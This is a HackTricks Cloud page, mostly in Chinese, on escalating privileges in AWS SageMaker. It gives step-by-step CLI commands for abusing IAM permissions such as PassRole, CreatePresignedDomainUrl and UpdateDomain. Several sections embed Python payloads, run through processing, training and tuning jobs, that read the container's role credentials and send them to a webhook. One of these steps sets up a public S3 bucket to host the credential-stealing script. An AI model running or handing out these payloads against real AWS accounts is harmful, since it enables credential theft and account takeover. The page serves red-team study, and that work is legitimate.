AWS - Sagemaker Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
开始创建一个 notebook,并将要访问的 IAM Role 附加到该实例上:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
响应应包含一个 NotebookInstanceArn 字段,其中包含新创建笔记本实例的 ARN。然后我们可以使用 create-presigned-notebook-instance-url API 生成一个 URL,以便在笔记本实例就绪后访问该实例:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
使用浏览器导航到该 URL 并在右上角点击 `Open JupyterLab``,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下点击 “Terminal” 按钮。
现在可以访问该 IAM Role 的元数据凭证。
潜在影响: 对指定的 sagemaker service role 进行 Privesc。
sagemaker:CreatePresignedNotebookInstanceUrl
如果其上已有正在运行的 Jupyter notebooks,并且你可以使用 sagemaker:ListNotebookInstances 列出它们(或以任何其他方式发现它们)。你可以为它们生成一个 URL,访问它们,并像前面的技术所示那样窃取凭证。
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
可能影响: 对附加的 sagemaker service role 的 Privesc。
sagemaker:CreatePresignedDomainUrl
Warning
此攻击仅适用于旧的传统 SageMaker Studio 域,不适用于由 SageMaker Unified Studio 创建的域。由 Unified Studio 创建的域会返回错误: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.
拥有在目标 Studio UserProfile 上调用 sagemaker:CreatePresignedDomainUrl 权限的身份,可以生成一个登录 URL,直接以该 profile 的身份认证进入 SageMaker Studio。此举会在攻击者的浏览器中创建一个继承该 profile 的 ExecutionRole 权限的 Studio 会话,并完全访问该 profile 基于 EFS 的 home 和 apps。不需要 iam:PassRole 或控制台访问。
Requirements:
- 一个 SageMaker Studio 的
Domain,以及其中的目标UserProfile。 - 攻击者主体需要在目标
UserProfile上拥有sagemaker:CreatePresignedDomainUrl(资源级别)或*。
Minimal policy example (scoped to one UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
滥用步骤:
- Enumerate 可针对的 Studio Domain 和 UserProfiles
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- 检查是否未使用 unified studio(攻击仅适用于传统 SageMaker Studio 域)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- 生成一个 presigned URL (默认有效期约 5 分钟)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- 在浏览器中打开返回的 URL,以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证有效身份或 exfiltrate the token:
aws sts get-caller-identity
注意:
--landing-uri可以省略。某些值(例如app:JupyterLab:/lab)可能会根据 Studio 的版本/变体被拒绝;默认通常会重定向到 Studio 主页,然后到 Jupyter。- 组织策略/VPC endpoint 限制仍可能阻止网络访问;令牌签发不需要控制台登录或
iam:PassRole。
潜在影响:可以通过假定任何其 ARN 被允许的 Studio UserProfile 来实现横向移动和权限提升,继承其 ExecutionRole 以及文件系统/应用程序。
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
具有调用 sagemaker:CreatePresignedMlflowTrackingServerUrl 权限的主体(以及用于后续访问的 sagemaker-mlflow:AccessUI、sagemaker-mlflow:SearchExperiments)针对目标 SageMaker MLflow Tracking Server,可以生成一次性预签名 URL,直接对该服务器的托管 MLflow UI 进行身份验证。这将授予与合法用户相同的访问权限(查看/创建实验和运行,并在服务器的 S3 工件存储中下载/上传工件)。
要求:
- 账户/区域内的 SageMaker MLflow Tracking Server 及其名称。
- 攻击者主体需要在目标 MLflow Tracking Server 资源上具有
sagemaker:CreatePresignedMlflowTrackingServerUrl(或*)权限。
滥用步骤:
- 枚举你可以攻击的 MLflow Tracking Servers 并选择一个名称
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- 生成一个预签名的 MLflow UI URL(短时间内有效)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- 在浏览器中打开返回的 URL,以作为该 Tracking Server 的已认证用户访问 MLflow UI。
Potential Impact: 对目标 Tracking Server 的托管 MLflow UI 的直接访问,允许在服务器配置强制的权限范围内查看和修改 experiments/runs,并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。
sagemaker:CreateProcessingJob, iam:PassRole
具有这些权限的攻击者可以让 SageMaker 执行一个 processing job,并附带一个 SageMaker role。通过重用已包含 Python 的 AWS Deep Learning Containers 之一(并在与该 URI 相同的区域运行该作业),你可以在不构建自定义镜像的情况下内联执行代码:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Potential Impact: 对指定的 sagemaker service role 的 Privesc。
sagemaker:CreateTrainingJob, iam:PassRole
拥有这些权限的攻击者可以启动一个训练作业,使用指定的角色执行任意代码。使用官方 SageMaker 容器并用 inline payload 覆盖 entrypoint,你不需要构建自有镜像:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
潜在影响: 对所指定的 SageMaker 服务角色 的 Privesc。
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
拥有这些权限的攻击者可以启动一个 HyperParameter Tuning Job,在所提供的角色下运行攻击者控制的代码。Script mode 需要将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
该进程启动的每次训练都会打印指标并外泄指定角色的凭证。
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
拥有更新 SageMaker Studio User Profile、创建应用、生成应用的预签名 URL 以及 iam:PassRole 权限后,攻击者可以将 ExecutionRole 设置为任何 SageMaker 服务主体可承担的 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,通过 Jupyter 终端或由 Studio 启动的作业提供交互式提升权限。
Warning
此攻击要求配置文件中没有任何应用,否则应用创建会失败并出现类似的错误:
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.如果存在任何应用,则需要sagemaker:DeleteApp权限先删除它们。
步骤:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: 在交互式 Studio 会话中,升级到指定 SageMaker 执行角色的权限。
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
如果拥有更新 SageMaker Studio Domain、创建 app、为该 app 创建 presigned URL 和 iam:PassRole 的权限,攻击者可以将域的默认 ExecutionRole 设置为 SageMaker 服务主体可以假设的任何 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式的提升权限。
Warning
此攻击要求域中没有应用,否则创建应用会失败并出现错误:
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
步骤:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
潜在影响: Privilege escalation,以获取指定 SageMaker execution role 在交互式 Studio 会话中的权限。
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
拥有在目标 UserProfile 上创建 SageMaker Studio app 权限的攻击者,可以启动一个以该 profile 的 ExecutionRole 运行的 JupyterServer app。这样可以通过 Jupyter 终端或从 Studio 启动的作业交互式访问该角色的权限。
步骤:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
潜在影响: 可交互访问附加到目标 UserProfile 的 SageMaker 执行角色。
iam:GetUser, datazone:CreateUserProfile
具有这些权限的攻击者可以通过为该用户创建 DataZone User Profile,使该 IAM user 获得对 Sagemaker Unified Studio Domain 的访问权限。
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
The Unified Domain URL 的格式如下: https://<domain-id>.sagemaker.<region>.on.aws/(例如 https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/)。
潜在影响: 作为用户访问 Sagemaker Unified Studio Domain,能够访问 Sagemaker 域内的所有资源,甚至将权限提升到 Sagemaker Unified Studio Domain 中笔记本所使用的角色。
参考
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

